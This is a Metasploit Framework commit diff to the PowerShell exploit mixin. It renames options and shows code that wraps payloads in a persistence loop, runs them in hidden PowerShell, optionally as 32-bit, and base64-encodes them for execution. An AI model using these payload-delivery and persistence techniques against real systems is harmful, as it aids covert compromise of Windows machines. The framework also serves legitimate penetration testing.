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metasploit-framework
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Update datastore changes

bug/bundler_fix
Meatballs 2013-07-29 15:24:29 +01:00
parent eb3f83f26f
commit e1cfe7cfe2
1 changed files with 6 additions and 4 deletions
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10
lib/msf/core/exploit/powershell.rb
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@ -11,7 +11,9 @@ module Exploit::Powershell
super
register_advanced_options(
[
OptBool.new('RUN_WOW64', [
OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
OptBool.new('PSH::RUN_WOW64', [
false,
'Execute powershell in 32bit compatibility mode, payloads need native arch',
false
@ -98,7 +100,7 @@ EOS
#
# Creates cmd script to execute psh payload
#
def cmd_psh_payload(pay, old_psh=false)
def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
# Allow powershell 1.0 format
if old_psh
psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@ -106,14 +108,14 @@ EOS
psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
end
# Run our payload in a while loop
if datastore['PERSIST']
if datastore['PSH::PERSIST']
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
sleep_time = rand(5)+5
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
# Determine appropriate architecture, manual method reduces script size
ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
# Wrap in hidden runtime
psh_payload = run_hidden_psh(psh_payload,ps_bin)
# Convert to base64 for -encodedcommand execution